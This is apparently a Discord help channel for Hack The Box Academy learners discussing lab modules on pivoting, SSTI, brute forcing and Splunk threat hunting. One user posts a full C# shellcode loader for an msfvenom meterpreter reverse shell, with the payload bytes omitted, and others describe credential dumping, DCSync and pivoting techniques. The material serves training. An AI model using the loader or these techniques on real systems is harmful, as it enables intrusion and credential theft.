#modules

1 messages Β· Page 270 of 1

round moat
#

help!!

split glade
#

Restart the scan, restart the machine, change VPN? It's the right command

storm elk
#

Gotta love this response when spwaning an instance

{ "success": 1, "ready": 0, "ip": null, "life_remaining": 119, "remaining_life_in_seconds": 7188 }

#

give me my IP 😠 πŸ˜†

timber hatch
#

i am also no able to spwan my tagret...

storm elk
#

Okay, who broke it

#

I'll try again later πŸ‘€

tight wigeon
sour lake
muted kindle
#

yeah stucked

forest zenith
#

I have downloaded the source code for codeigniter in the correct version and have been digging on the code, still havent found the right function

normal sand
#

Module and Section: https://academy.hackthebox.com/module/158/section/1439

Use the concepts taught in this section to pivot to the Windows server at 172.16.6.155 (jason:WellConnected123!). Submit the contents of Flag.txt on Jason's Desktop.
I'm able to transfer the binaries, but once I extract the contents of SocksOverRDP x64, the .dll file disappears shortly after. Please advise.

storm hedge
#

Hello, I'm studying web vulnerabilities but I'm not a native english speaker.
In server side template injection mean, does template refer
A - Injection in the template
B - Injection of template
?

jovial sable
#

In the template i think

storm hedge
#

@jovial sable thank you. The available translations in my native language are incorrect

jovial sable
#

Like you inject the code due to a vulnerability on how the template is made, usually with <%%> or ${{}}, if im not wrong

storm hedge
#

@jovial sable yes, that's correct. I used the attack in several jinja labs and I agree with you.
It's just that I'm taking notes, and I wanted to have the proper interpretation (the tranlsation I have in my native language is a little bit misleading,,it literally translate into injection of template, hence my confusion)

jovial sable
#

oh, I undestand. So yep, option A has to be

storm hedge
#

@jovial sable I think you were right the first time, it makes more sense

#

(At least to me)

#

@jovial sable thanks a lot for your help

jovial sable
#

np : )

noble heath
#

[CDSA][1 of 2] Intrusion Detection With Splunk (Real-world Scenario):
https://academy.hackthebox.com/module/218/section/2357
Hi guys/admins. I did some black box threat hunting and found some interesting stuff on the dataset for the said module that were not asked in the module exercises, as well as other things that needs to be verified such as:
||After the credential dumping via comsvcs.dll's minidump function (2022-11-06 11:44:07) on host (DESKTOP-EGSS5IS), the adversary proceeds in executing psexec related commands '
to enumerate the other host (10.0.0.47, DESKTOP-UN7T4R8) commands such has hostname, whoami or any generic situational awareness commands as well as network enum ones (2022-11-06 11:57:27) though I saw one command on 10.0.0.47 related to commandline: net user waldo Password@123 (2022-11-06 11:12:32). What's not clear to me is the net user command, would it be right to assume that prior to the dumping at DESKTOP-EGSS5IS, waldo created the user created the user waldo with password Password@123 via the net user waldo Password@123 since this event took place first before the dumping of credentials?
comsvcs.dll's minidump function (2022-11-06 11:44:07) on host DESKTOP-EGSS5IS
net user waldo Password@123 (2022-11-06 11:12:32) on host DESKTOP-UN7T4R8
[!] This comes to a fact as well that after the credential dumping event there's one successful login event from DESKTOP-EGSS5IS for the user waldo against DESKTOP-UN7T4R8 but
that is at 2022-11-06 11:59:59 which is normal given that there's credential dumping that took place, but I still can't figure it out how net user waldo Password@123 was
executed on DESKTOP-UN7T4R8 where in fact the dumping just took place after the net user related event?||

#

[CDSA][2 of 2] Intrusion Detection With Splunk (Real-world Scenario):
Hi guys/admins. I did some black box threat hunting and found some interesting stuff on the dataset for the said module that were not asked in the module exercises, as well as other things that needs to be verified such as:
||2. As for other attacks I've seen notepad.exe and cmd.exe was set to be a persistence mechanism as initiated by randomfile.exe on host DESKTOP-EGSS5IS
cmd.exe and notepad.exe was used to escalate privilege from user waldo > NT AUTHORITY\SYSTEM upon its execution as a persistence mechanism on 2022-11-08
(Please confirm this finding)
3. I saw SharpHound.exe and file.exe being fetched by the adversary via PS' Invoke-WebRequest on DESKTOP-EGSS5IS. tools used agains the domain and its users as of now I don't see anything other than these 2 (Please confirm this finding)
4. Invoke-DCSync.ps1 was downloaded on DESKTOP-UN7T4R8. (Please confirm this finding)
5. Was able to see a DCsync attack related artifact via Windows Event ID 4662 user waldo being the culprit for that. Can you confirm if the DC controller is host WIN-HSRME76TRAD.uniwaldo.local? (Please confirm this finding)
6. Aside fromn SharpHound.exe being invoked on DESKTOP-EGSS5IS and Invoke-DCSync.ps1 invoked on DESKTOP-UN7T4R8 are there any other steps that I've missed or any major attacks against the DC? (Please confirm this finding)||

split glade
normal sand
normal sand
#

Learning ligolo rn and then I'll try the lab's method and then with ligolo.

split glade
#

Well it's always good to know for the future, .dll/.exe who magically disappear = Defender/some kind of security measure, but probably Defender for a CTF

astral horizon
#

hey guys, I want to start hack the box academy's soc analyst job role path, how long does it take approximately in hours? it's written there 23 days, does it mean 552 hours? or is it a module a day?

bold sinew
#

Login Brute Forcing > Skills Assessment - Service Login

I am having trouble with the first question, which asks me to use the information from the previous module to create a custom password wordlist that meets password policy and use usernameGenerator to generate potential usernames, then brute force the SSH server on the target host.

I have managed to narrow down the potential username to ||h.potter|| and the worldlist I created with ccup is failing to get a hit. I only used the first and last name to generate the password list (and allowed for special characters) but im not getting hits. Do I have the right username? If so, should I revisit my password list?

split glade
#

If you start with 0 experience it's usually (much) longer than the estimated time, but the theory is 1 day = 8 hours

normal sand
#

@next bronze with ligolo or any tool, it's not possible to do run an nmap -sS scan on a pivot, right?

muted kindle
#

ligolo can

normal sand
muted kindle
normal sand
#

So I don't accidentally delete something I'm not supposed to?

muted kindle
normal sand
#

Alrighty

cloud wigeon
normal sand
muted kindle
normal sand
#

Guess I should fire up ligolo and test it out instead of just reading. It'll give me a better idea.

cloud wigeon
#

box you done the Ffuf assesment yet?

muted kindle
cloud wigeon
#

mind if i dm whit what i tried?

muted kindle
#

ok

timber hatch
#

can somebody help me with the module INTRODUCTION TO WINDOWS EVASION TECHNIQUES / Static Analysis?
the code below, when paste in the shellcode, should make a reverse shell to the handler right?

code:
using System;
using System.Linq;
using System.Runtime.InteropServices;

namespace NotMalware
{
internal class Program
{
[DllImport("kernel32")]
private static extern IntPtr VirtualAlloc(IntPtr lpStartAddr, UInt32 size, UInt32 flAllocationType, UInt32 flProtect);

    [DllImport("kernel32")]
    private static extern bool VirtualProtect(IntPtr lpAddress, uint dwSize, UInt32 flNewProtect, out UInt32 lpflOldProtect);

    [DllImport("kernel32")]
    private static extern IntPtr CreateThread(UInt32 lpThreadAttributes, UInt32 dwStackSize, IntPtr lpStartAddress, IntPtr param, UInt32 dwCreationFlags, ref UInt32 lpThreadId);

    [DllImport("kernel32")]
    private static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);

    static void Main(string[] args)
    {
        // Shellcode (msfvenom -p windows/x64/meterpreter/reverse_http LHOST=... LPORT=... -f csharp)
        byte[] buf = new byte[] {<SNIP>};

        // Allocate RW space for shellcode
        IntPtr lpStartAddress = VirtualAlloc(IntPtr.Zero, (UInt32)buf.Length, 0x1000, 0x04);

        // Copy shellcode into allocated space
        Marshal.Copy(buf, 0, lpStartAddress, buf.Length);

        // Make shellcode in memory executable
        UInt32 lpflOldProtect;
        VirtualProtect(lpStartAddress, (UInt32)buf.Length, 0x20, out lpflOldProtect);

        // Execute the shellcode in a new thread
        UInt32 lpThreadId = 0;
        IntPtr hThread = CreateThread(0, 0, lpStartAddress, IntPtr.Zero, 0, ref lpThreadId);

        // Wait until the shellcode is done executing
        WaitForSingleObject(hThread, 0xffffffff);
    }
}

}

#

when no help is in this forum, anybody knows where to write?

autumn pilot
#

you need to be patient young padawan

timber hatch
#

I was...but have been asking for some time...πŸ˜†

timber hatch
#

i dont get it.
C:\Tools\NotMalware\NotMalware\bin\Debug>.\NotMalware.exe
Shellcode allocated at: 2D60000
Shellcode copied to allocated space.
Shellcode memory protection set to executable.
Shellcode execution thread created.

next bronze
#

time to break out the debugger

#

or add pauses in your program so that it can be examined

timber hatch
#

i did this with the statements above.
C:\Tools\NotMalware\NotMalware\bin\Debug>.\NotMalware.exe
Shellcode allocated at: 2D60000
Shellcode copied to allocated space.
Shellcode memory protection set to executable.
Shellcode execution thread created.

seems to work

normal sand
#

@muted kindle If I've started an smb server on the attack host that I wish to access from PC-2, what listener on ligolo do I need to add to PC-1?

#

I've tried adding the following listener on PC-1, but couldn't access the smb share:

listener_add --addr 0.0.0.0:1234 --to 0.0.0.0:445
muted kindle
normal sand
muted kindle
normal sand
#

Also, after I tried deleting the listener, this happened πŸ’€

#

Can I DM you what I did so far?

muted kindle
#

If you want to transfer files to pc2, set up a Python web server,
If you want to get files out setup uploadserver
The file transfer module teaches how to use

sterile vigil
#

TE.CL section lab from HTTP Attacks module:

Could you give me any hint? What wrong I do?

normal sand
muted kindle
normal sand
muted kindle
#

If you can do that I’m not aware of it

normal sand
muted kindle
#

But how do you do that to use PC1 IP at port 1234

split glade
normal sand
muted kindle
normal sand
next bronze
#

doesn't work like that, windows will always go to 445 when pointed to a smb path

normal sand
next bronze
#

not to mention that smb also needs 139 so you'll need to forward multiple ports

#

just use http/s

normal sand
normal sand
muted kindle
#

Yes

normal sand
#

Thanks you guys.

#

I'm gonna give double pivoting a go now.

timber hatch
#

can somebody help me with the module INTRODUCTION TO WINDOWS EVASION TECHNIQUES / Static Analysis?
i try to get the reverse shell as explained, the reverse shell works when i just use a normal .exe created with msfvenom, but when i use the C# code it doesnt work

timber hatch
autumn pilot
#

here

timber hatch
#

seems not to work

autumn pilot
#

well, this is done by volunteering so it is not mandatory

timber hatch
#

exactly, and my question is, is there another way to get help?

#

yes or no?

autumn pilot
#

I don't know

timber hatch
#

ok

normal sand
#

@next bronze @muted kindle
I RDP'd to PC-2 (172.16.5.19) from PC-1 (172.16.5.150), but when I try to ping either of the IP addresses from PC-1, I get destination host unreachable. Also, I find the subnets a little weird?

next bronze
#

where are you pinging from

#

and what's your tunnel set up

next bronze
timber hatch
#

and i replied already to you, with:
i did this with the statements above.
C:\Tools\NotMalware\NotMalware\bin\Debug>.\NotMalware.exe
Shellcode allocated at: 2D60000
Shellcode copied to allocated space.
Shellcode memory protection set to executable.
Shellcode execution thread created.

seems to work

next bronze
#

I'm telling you to debug it yourself, not me

timber hatch
#

i have added the debug prints

#

where i did i tell you to debug my code?

regal viper
normal sand
normal sand
regal viper
#

Attached a debugger while its running?

next bronze
normal sand
#

The pinging issue asside, I'm currently trying to double pivot, but I'm getting this error.

next bronze
muted kindle
next bronze
next bronze
normal sand
next bronze
#

both will work

normal sand
muted kindle
next bronze
normal sand
next bronze
#

pc1's got 2 interfaces, attach the second pivot to the interface that can reach pc2

regal viper
#

I would suggest not using csharp at all but the course I did was all in C so im biased :D

next bronze
#

I prefer C too but that module is done in C#

normal sand
#

My current question lies with the IP addressing scheme.

next bronze
regal viper
#

10/10 worth the price lol

muted kindle
#

am i tripping or is the loading icon not moving
Was it always like that?

#

oh it spawned

normal sand
#

The second IP address on PC-1 has the IP address 172.16.5.150/16 and from there I was able to directly RDP to PC-2 on the IP 172.16.5.19/23, and then when I did ipconfig in the command prompt on PC-2, I found another interface with the IP 172.16.6.19/16.

next bronze
#

yeah what about it? if you just want to reach pc2, you can ignore that interface

normal sand
#

PC-1/16 β†’ PC-2/23?

next bronze
#

whats wrong with that

normal sand
#

I was expecting it to be PC-1/16 β†’ PC-2/16, and then using PC-2/23 subnet to pivot further.

normal sand
# next bronze whats wrong with that

Maybe I'm not understanding the networking here properly. I know there are overlapping host ranges between the two subnets, so why is it that I can't directly access the last host (PC-3), which has an IP address of 172.16.6.155, directly from PC-2 without having to double pivot?

next bronze
#

go use a subnet calculator for the two subnets if you're confused

normal sand
#

PC-3 falls within the Host range for both subnets.

next bronze
#

whys there a pc3 now

normal sand
next bronze
#

you can just assume that the routes between the pcs are by design, there can be firewall or routing configurations affercting things

normal sand
normal sand
next bronze
normal sand
normal sand
next bronze
#

how many pivots are there now

timber hatch
normal sand
#

I now want to go from PC-2 to PC-3.

next bronze
#

that's fine, the agent will still be connected even if you stop the tunnel

#

at least for double pivots

regal viper
ivory jasper
#

I am pretty sure something wrong with Attack Common Services -> Attacking FTP VM. It has been like 30 mins but FTP service is still not ON. Where should I report this issue?

normal sand
next bronze
#

I don't remember the last time I've had to use more than 2 tunnels, but the multi tunnel feature will work for this

normal sand
next bronze
#

yeah if you stop the tunnel it will kill the connection to the hosts that are not the pivot

#

I'm talking about the agent itself that is still running, of course the tunnel is stopped

normal sand
regal viper
normal sand
#

Haha, alrighty.

regal viper
#

@next bronze did you finish maldev?

next bronze
#

yeah

regal viper
#

ah nice, i didnt get far lol, had to pivot to web pen testing to fill in some knowledge

#

got to module 33

next bronze
#

did it during my free time, tbh I haven't used any of the knowledge in my actual work and don't think I will anytime soon, but still a blast to learn nonetheless

#

did you get the lifetime sub

regal viper
#

of course πŸ˜‹

round moat
#

What is the customized version of the POP3 server?
any hint to solve this?
Footprinting -> IMAP/POP3

regal viper
#

thats why im not too fussed about finishing it ASAP

next bronze
#

yeah then just take your time with it

next bronze
meager topaz
#

hey hacker lets hack nasa

timber hatch
timber hatch
regal viper
regal viper
next bronze
next bronze
next bronze
normal sand
#

I managed to do it. Thanks a lot for your help @next bronze prayge

round moat
#

What is the customized version of the POP3 server?
Help me with this

fiery crane
#

try using nmap scripting engine

timber hatch
#

it was set to x32

timber hatch
normal sand
next bronze
#

idk tbh, just don't stop them

#

that's also a thing caused by the new update

thin sequoia
#

Hi guys, i'm in module Linux Fundamentals, i installed openvpn and ran the academy's vpn, but when i go to the target vm, i was landed in a Apache2 Ubuntu default page. What should i do to fix this? Thanks

muted kindle
thin sequoia
#

it seems correct, got Initialization Sequence Completed in terminal, ping looks good too

muted kindle
thin sequoia
#

Linux Fundamentals - The Shell - System Information, i just cant connect to the target vm to answer questions

muted kindle
#

Remote login to the target with ssh

viral lotus
#

I have just finished the Linux Fundamentals section, if I wanted to run back through it again at a later date is it a case of just spawning a new target and rinse and repeat?

thin sequoia
round moat
#

What is the admin email address?
Try to access the emails on the IMAP server and submit the flag as the answer. (Format: HTB{...})
Help me solve this

#

how should i do this?

fathom pendant
#

Log into the imap service with your known user, and read their emails

round moat
#

i cant find email address, which command i should use give me a hint

fathom pendant
#

You should be fetching the body of the email

bold sinew
fathom pendant
#

I suggest looking up imap commands, I've linked to a few articles in the past

round moat
#

can you pin me out on that

fathom pendant
#

Just use discord search feature

#

Or Google "imap commands"

cloud wigeon
#

web assesment final question. A small nudge pls?
i have found a short username wordlist from seclists
i have found the parameters
i have tried all usernames but i only get method no longer used and with one a combo i tried outside of that wordlist, you dont have access

stable bone
#

@fathom pendant can you help me find how to find an inverse wifi compatability?

cloud wigeon
#

should i post the commands ive used here?

#

and why is my handle still unverified, should i contact support?

fathom pendant
cloud wigeon
cloud wigeon
# fathom pendant Invalid method means the parameter isn't correct iirc

yes, I have found both parameters that dont need another username as value im assuming, so the wordlist is were im having an issue with. I have the parameters. I cant find the right wordlist to fuzz the other value to gain the flag w curl. Either that or im not understanding something.

fathom pendant
#

You're not understanding something

#

You need to find a proper parameter (there will only be one) and then fuzz the value

cloud wigeon
#

i found it

#

this user does not have access

#

error is what i get, so im assuming the user exists

fathom pendant
#

Well, keep trying until you get a user that does

cloud wigeon
#

its not the pass?

#

ive tried the whole wordlist mentioned on the forum website on both parameters

fathom pendant
#

To be clear: you're doing the attacking web applications with ffuf module?

cloud wigeon
fathom pendant
#

Yep you get 2 parameters

analog dock
glass quail
#

Module: Broken Authentication
Section: Skill Assessment
Hey in the module broken authentication how can you tell how many digits the OTP has in the skill assessment? I can't find it anywhere on the page and I tried 4,5, and 6 digits.

cloud wigeon
fathom pendant
#

And fuzzing the value with a namelist will get you something @cloud wigeon

cloud wigeon
#

ok, ill keep trying

#

thank you

fathom pendant
#

You should use the namelist that's highlighted throughout the module

cloud wigeon
#

which i am

#

ill re read it

fathom pendant
#

Make sure your headers are correct as well

#

parameter=FUZZ

#

And the content-type

cloud wigeon
#

?parameter=FUZZ and -X POST ..

fathom pendant
#

That's not how post requests work

#

-d parameter=FUZZ

cloud wigeon
#

yes

#

encapsulated by single quotes

#

dont want to copy paste the whole cmd as spoiler

fathom pendant
#

Then why are you adding ?parameter πŸ˜‰

cloud wigeon
#

ok

#

gotcha tnx for pointing out

grand prairie
#

Crackmapexec - skills assessment
I am stuck at question 5. Can someone please write to me and give me some tips on how to complete the module?

normal sand
#

What is the host discovery command ya'll prefer to use?

#

I'm currently trying to perform host discovery to hunt for something I could pivot to using this command:

sudo nmap -sn <ip_addr/CIDR>
glass quail
#

That search bar is so helpful thanks mentioning it the other day

normal sand
glass quail
#

haha ya I thought a while back why would someone need that and now im thinking how much data is stored on this discord

quasi jungle
#

Can I do write-ups for HTB Academy modules now that the write-ups are accessible on-site when paid.

soft needle
normal sand
#

How do ya'll perform host discovery on a subnet that blocks ping?

dim wolf
#

DNS

#

nmap -Pn scan

normal sand
sly nebula
#

I am running into the same issue. I can evade Defender and YARA. My payload works when launched from the command line in EVASION-TARGET, but it does not work when launched automatically. Could someone help me shed some light here? Thanks.

normal sand
dim wolf
#

i made mistake remove -Pn

smoky vortex
#

I'm doing "LINUX PRIVILEGE ESCALATION" / "Linux Services & Internals Enumeration". The question in the end of the module about the latest version of Python on box, what they actually want as the answer? There's several python binaries, but nothing matches.

dim wolf
#

that scan will take forever though

#

ideally if you're in an AD environment you want to find the domain controller and some valid credentials

#

then use adidnsdump to find all the hosts in the network

marsh echo
open summit
#

I cant login to my HTB account + i try to reset password nothing is sent to my email where do i get assistance about this issue : )

compact patrolBOT
fathom pendant
#

Give it a minute

#

It's not like there's thousands of support agents waiting for a chat

#

It's not uncommon to need to wait a handful of minutes to an hour before getting a response, as they may be responding to another support request

open summit
#

how do you get scriptkiddie/hacker rank btw

fathom pendant
#

By advancing on the main website, doing active boxes

open summit
#

how are you on the same rank as me im dogshit compared to u cuh

fathom pendant
#

Because I don't do main platform content atm

open summit
fathom pendant
#

None, just got a lot going on

lofty shore
#

Hi, I'm reading the 'Host and Port Scanning' section of the nmap module and it says this about TCP Connect scans:
It is also useful when the target host has a personal firewall that drops incoming packets but allows outgoing packets. In this case, a Connect scan can bypass the firewall and accurately determine the state of the target ports.
I don't understand why this scan would bypass a target's firewall that drops incoming packets. Wouldn't the initial SYN packet from nmap just get dropped?

sonic chasm
#

Hi. I am not sure if this is the right place to ask, but does anyone know if it is possible to "return" a subscription? I accidentally pressed purchase on the Silver subscription, which was surprisingly easy to accidentally purchase. I have not yet accessed any modules that I didn't already purchase with cubes beforehand. (Also I JUST purchased it like 15 minutes ago, so it is quite recent)

fathom pendant
#

Message support

open summit
#

How do I know where the flag.txt file was downloaded

fathom pendant
#

It's not something that can be taken care of via discord

fathom pendant
open summit
#

thx

open summit
fathom pendant
#

By leveling up in the main site

#

As I said earlier, rank isn't tied to academy progress

open summit
#

ye im doing these starting machine labs but the ydotn seem to gimme points

fathom pendant
#

Because they have to be active. Starting point isn't "active" machines, and since they have writeups as well - they also don't contribute

open summit
#

ahh ok

midnight galleon
#

command injection skill assessment, can i get some help?

#

i found the injection point and bypassed many filters but i still get malicious request detected

marsh echo
open summit
#

why is my wordlist like this on kali linux?

#

doesnt let me extract it either

fathom pendant
#

Use sudo

open summit
#

my kali crashed when i tried opening the file lol

fathom pendant
#

Well, because its a big wordlist

#

If you don't have enough storage space then your system isn't gonna like it

novel solar
#

Anyway to get free cubes

open summit
#

complete modules

#

and u can invite people apparently but it didnt work for me

#

invited my brother and it never gave me any cubes

#

even though he signed up

#

through my link

novel solar
hexed lintel
agile token
buoyant void
#

Unless you have Kira's password that you cracked saved somewhere, you'll need to go ahead and get it again

glass quail
#

ahha finally got the broken authentication flag πŸ˜›

#

that was a fun module

fathom pendant
hallow remnant
viral lotus
#

I did try to ask earlier, but it got missed in the feed... If you complete a module can you go back and run through the practical elements as much as you like? just doing my CREST path so lots of content to consume. Thanks

silent glade
#

idk any of these channels so im just gonna type here
is the academy just text based or does it have videos where they're explained

buoyant void
viral lotus
#

After launching a win machine in the course roughly how long does it take to be able to RDP into? some communities can be up to like 5 minutes?

fathom pendant
buoyant void
#

I've never had to wait more than a couple of minutes but obviously sometimes there's some latency but switching VPN servers seems to help

fathom pendant
silent glade
buoyant void
#

I will say any win machine with internal machines that you need to pivot into, those take a while from my experience

silent glade
#

i found the interface pretty friendly so ill stick with it this time

fathom pendant
#

You can likely find video guides on the tier 0 content

#

But tier 1+ videos aren't allowed

silent glade
#

do certifications cost money

fathom pendant
#

Yes

silent glade
#

so

viral lotus
fathom pendant
#

Any cert that holds value will cost some amount of money

silent glade
#

to say i completed this i need to pay 400 dollars

viral lotus
silent glade
#

yay i finished the intro

fathom pendant
silent glade
#

lol

fathom pendant
#

The cert isn't just "oh I completed the path" it's, "I took an exam that proves my competency in the exam material, and can write a professional report"

silent glade
#

sorry can you explain it to me like im a caveman that just found out about fire

fathom pendant
#

The path is a requirement to be able to take the exam in the first place

#

Pentester path for CPTS, Bug Bounty Hunter for CBBH, SOC analyst for CDSA, Senior Web Pentester for CWEE

#

They are all pinned in their respective channels

silent glade
#

bro you sound so professional rn and im scared of making you mad

fathom pendant
#

There's no "lol you completed this, here's a cert" kinda thing

#

It's a full exam to be able to get the cert, like OSCP

silent glade
#

but, i dont know crap about this stuff thats why im learning, i just know how to code a discord bot in python nothing more

fathom pendant
#

Yep and that's why you can't take the respective exams without first completing the required path

silent glade
#

idk what these oscp cpts or what they are

fathom pendant
#

OSCP is the industry standard pentest cert, CPTS is HTB's competitor cert to it

silent glade
#

ohh

fathom pendant
#

Your resume isn't even likely to get looked at if you don't have it (for Jr pentest position)

fathom pendant
#

Yes, penetration testing is a legit job

silent glade
#

holy crap this is awesome

fathom pendant
#

It's hard as fuck to get your foot in the door though

silent glade
fathom pendant
#

Most people start SOC (Security Operation Center) and pivot to it

fathom pendant
#

They are well defined and scoped

silent glade
#

wow

#

man, you sound professional asf rn and im here for it

fathom pendant
#

well that's where the ethical side of ethical hacking comes in Β―_(ツ)_/Β―

#

Most people just do public bug bounties, as they can be done by anyone with the skills

silent glade
#

i figured out how to use sqlmap and now i can just screenshot it and scare some 5 year olds or some crap, i sent a screenshot of 2 game hacking apps from my phone to my friend, dude sent a voice memo screaming im calling the police if you dare

fathom pendant
#

Meh

silent glade
#

yeah meh truly

#

i got scared for my sake cause he's that stupid he'd actually call them i swear

fathom pendant
#

As long as you aren't doing anything illegal, you're fine

#

Decompiling a game isn't necessarily illegal, unless the company clearly states so in its ToS

silent glade
#

yeah uhh

#

it was basically for getting modded games or paid games for free, happymod but looked more professional ig, i might learn how to use cheat engine

fathom pendant
#

Attacking live sites that don't have a bug bounty program, however, I'd advise against it

fathom pendant
fathom pendant
silent glade
#

ohh mb mb

fathom pendant
silent glade
#

would i get in any trouble with the hosting provider or something

fathom pendant
#

Most hosting sites pass the testing onto the customer

silent glade
#

thanks for explaining all this to me btw

fathom pendant
#

I suggest looking into ToS if you're unsure

silent glade
fathom pendant
#

Skill Issue then

silent glade
#

fair

fathom pendant
#

Responsibly, any services you pay for, you should read the ToS

#

As EULAs and ToS are legally binding contracts

silent glade
#

yeah i never pay for anything online i always gotta find a free alternative

silent glade
fathom pendant
silent glade
#

only thing legally related i did was add privacy policy and tos to my shopify store, and that thing tired me tf out let alone all these other things

silent glade
fathom pendant
#

We're driving way off topic now

silent glade
#

oh yeah i forgot sorry

fathom pendant
#

If you want to talk in other channels, read and follow #welcome

silent glade
#

oh

#

they should have put it in verify or something ive been searching this entire time lmao ty im stupid

viral lotus
#

just my two cents the information in these courses will give you the ability to do many things its a question of your ethics and morals as to what you do with it hence you have white hat and black hats, much like anything you can either use it for good or bad either way you still have to learn how to use it

fathom pendant
#

HTB spins it in a professional way, the modules and labs are framed in a way that you and imaginary colleagues were contracted to test the fictional company InlaneFreight

silent glade
#

yeah that looks more suspicious doesnt it

fathom pendant
silent glade
fathom pendant
#

Things evolve and change every day

silent glade
#

i feel like the kid eating at the adults table rn

fathom pendant
#

HTB strives to build a strong foundation for you to further research and expand on

#

And as per one of the big guys G0blin, they are planning to keep things as reasonably affordable as possible

viral lotus
fathom pendant
#

Compared to OSCP, CPTS costs a fraction

#

That's a username that's typing lmao

silent glade
fathom pendant
silent glade
#

and my username is true btw, idk why they think that

fathom pendant
#

The best notes are ones that you understand

silent glade
#

i just know english and can read the settings in a device and suddenly im a hacking prodigy

fathom pendant
#

Copy/pasting only gets you so far if you don't understand

silent glade
fathom pendant
#

If you don't know why you use a tool, then you don't understand what to do when faced with an unfamiliar situation

#

chatGPT can be used as a tool for understanding, however, don't let it replace your actual brain

#

We will make fun of you for it lol

silent glade
#

@fathom pendant how big is your forehead

silent glade
fathom pendant
silent glade
fathom pendant
#

Either way. Take notes, if it seems important -- write it down

#

A lot of basic modules will break commands down

silent glade
#

btw

#

cubes can be earned for free right

fathom pendant
#

No

silent glade
#

ill be checking in here more, i like this server

silent glade
fathom pendant
#

Tier 1+ modules only refund 20% and you never go positive by just doing modules

#

You can also message support regarding getting the academic discount

#

$8/month

silent glade
#

oh ok

#

thanks, ill be going now.

fathom pendant
#

Gl

bold sinew
#

Module: Login Brute Forcing > Skills Assessment - Service Login

I am having trouble with the first question, which asks me to use the information from the previous module to create a custom password wordlist that meets password policy and use usernameGenerator to generate potential usernames, then brute force the SSH server on the target host.

I have managed to narrow down the potential username to ||h.potter|| and the worldlist I created with ccup is failing to get a hit. I only used the first and last name to generate the password list (and allowed for special characters) but im not getting hits. Do I have the right username? Am I on the right track or have I made a mistake here?

summer swallow
#

How to set white background for academy modules ?

cloud urchin
#

there's probably some theme addon out there for something like that

summer swallow
#

or firefox ?

cloud urchin
#

idk, search for either one you use

#

you can also manually edit the css style sheet maybe

#

why would you want to blind yourself though lol

summer swallow
summer swallow
silk anchor
#

Just finished the footprinting module, the medium and hard test boxes are no joke. Medium took longer than hard πŸ˜‚

fathom pendant
cloud urchin
#

probably have vision issues from using white backgrounds their whole life πŸ˜›

fathom pendant
#

Or other vision acuity issues

noble heath
#

As analyzing the related Windows Event Code 4104 for this that involves a shell code has a resemblance with the known AMSIBypass from @am0nsec

flat axle
#

I’m trying to download a file to get a flag but I can’t figure it out can anyone help?

fathom pendant
#

What module are you working on

#

You need to give us enough info to be able to help you
Module name; section name; what's causing you trouble

blissful elm
#

hey, i have almost completed cpts 85 % , now i was thinking does the defense part going to be ez or it doesn't matter

fathom pendant
#

Was there in depth evasion tactics in the course? No

#

You'll only encounter on the exam what you encounter in the path

blissful elm
#

beside cpts which path u follow marcie

fathom pendant
#

I haven't finished the path yet and don't plan on doing anything extra

storm elk
#

Anyone else having issues spawning targets again? Module : blind sql injections. Section: skill assessment

#

Been waiting for 6 minutes now πŸ˜…

next bronze
#

try changing servers

storm elk
#

It won’t stop the spawning it seems. Just killed the pwnbox

next bronze
#

huh? refresh the page and it will let you spawn again

storm elk
#

Finally. Maybe the lab is that big 😨

#

Working now. This is gonna be a fun one

next bronze
normal sand
#

Module: PIVOTING, TUNNELING, AND PORT FORWARDING
Section: Skills Assessment

I'm currently struggling with discovering hosts from my double pivot.
I've already done the setup in ligolo for Pivot02, but I'm not sure if it's correct. It wouldn't let me add the route 172.16.0.0/16 for ligolo2 as well, so I added the route 172.16.6.0/24 instead.

#

After doing this, I tried a ping sweep on 172.16.6.0/24 and it returned a bunch of hosts. I used this command for the ping sweep:

for i in {1..254} ;do (ping -c 1 172.16.6.$i | grep "bytes from" &) ;done
#

Now I don't know which host to proceed with.

normal sand
#

Tried to perform a ping sweep from Pivot02 itself, resulted in nothing. This was the command:

for /L %i in (1 1 254) do ping 172.16.6.%i -n 1 -w 100 | find "Reply"
vague sage
#

well ive finished the introduction finally
but
i still cant unlock the introduction to bash scripting because i have no cubes SadOfKos

void hemlock
#

Module: ADCS attacks
Section: Skills assessment

To get initial access to DEV01, I tried to use ESC8 but the coerce failed (using coercer or petitpotam.py). Can someone give me a hint? thanks

simple loom
#

Hi all!

I am on the Pivoting Module Skill assessment and I already compromised the windows host through the webserver. I noticed that there is another subnet and performed a pingsweep, but I am unable to perform an nmap scan to this nerwork. I am unsure on how to make this double pivot to my attack host. Can anyone help me on this?

Ty in advance!!

sterile vigil
#

HTTP ATTACKS - TE.CL

Could someone give me explanation, what wrong i do?

blissful elm
#

can't get ouput what i need

#

"Obtaining the KRBTGT Account's NT Hash using Mimikatz", "Attacking Domain Trusts - Child -> Parent Trusts - from Windows"

thorn hawk
#

hello amigos. I hope everybody is having an amazing Friday - weekend almost here. I have a minor question of the SSRF module at the blind SSRF question. This time we require to only encode our python web shell 2 times rather than 3 times which was the case in the SSRF example. The server structure to my knowedge is the same as the SSRF example. Why do we encode only 2 times this time?

muted kindle
blissful elm
#

htb-student

#

i just copy pasted

blissful elm
muted kindle
# blissful elm .

is it a domain user?
The getncchanges error means ur user doesn’t have replication rights
User must be local admin on DC or a domain admin

blissful elm
#

let me try thi

#

it worked, πŸ‘πŸ‘

round moat
#

guys I cant understand why every lab am trying to solve seems buggy on htb
Enumerate the MySQL server and determine the version in use. (Format: MySQL X.X.XX)
Am trying to solve this lab, and even used "sudo nmap <ip> -sC -sV -p3306 --script mysql*" to know the version
But it doesnt show me the version

#

help!!

autumn pilot
#

If you think you have issues with the labs, did you try to reach out to support to verify that

round moat
#

yes i did messaged but still no reply!
What should I do?

autumn pilot
round moat
#

already done still no reply

zealous arch
#

INCIDENT HANDLING PROCESS During an investigation, we discovered a malicious file with an MD5 hash value of β€˜b40f6b2c167239519fcfb2028ab2524a’. How do we usually call such a hash value in investigations? Answer format: Abbreviation

IOC ABBREVATION IS ANSWER BUT ANSWER IS NOT ACCEPTING

#

anyone help me

hexed lintel
#

I got the credential for svc_sql using kerberoasting, what is the best method to get the ip of this user so that i can login with evil-winrm

zealous arch
normal sand
zealous arch
#

what to do stuck

muted kindle
zealous arch
muted kindle
normal sand
#

My attempts at a ping sweep either result in a ton of hosts or nothing.

#

I tried a configuration of 172.16.5.0/24 for ligolo and 172.16.6.0/24 for ligolo2 as well.

#

My current issue lies with host discovery.

#

I've tried the ping sweep commands from the module along with some Nmap scans, but no solid result.

zealous arch
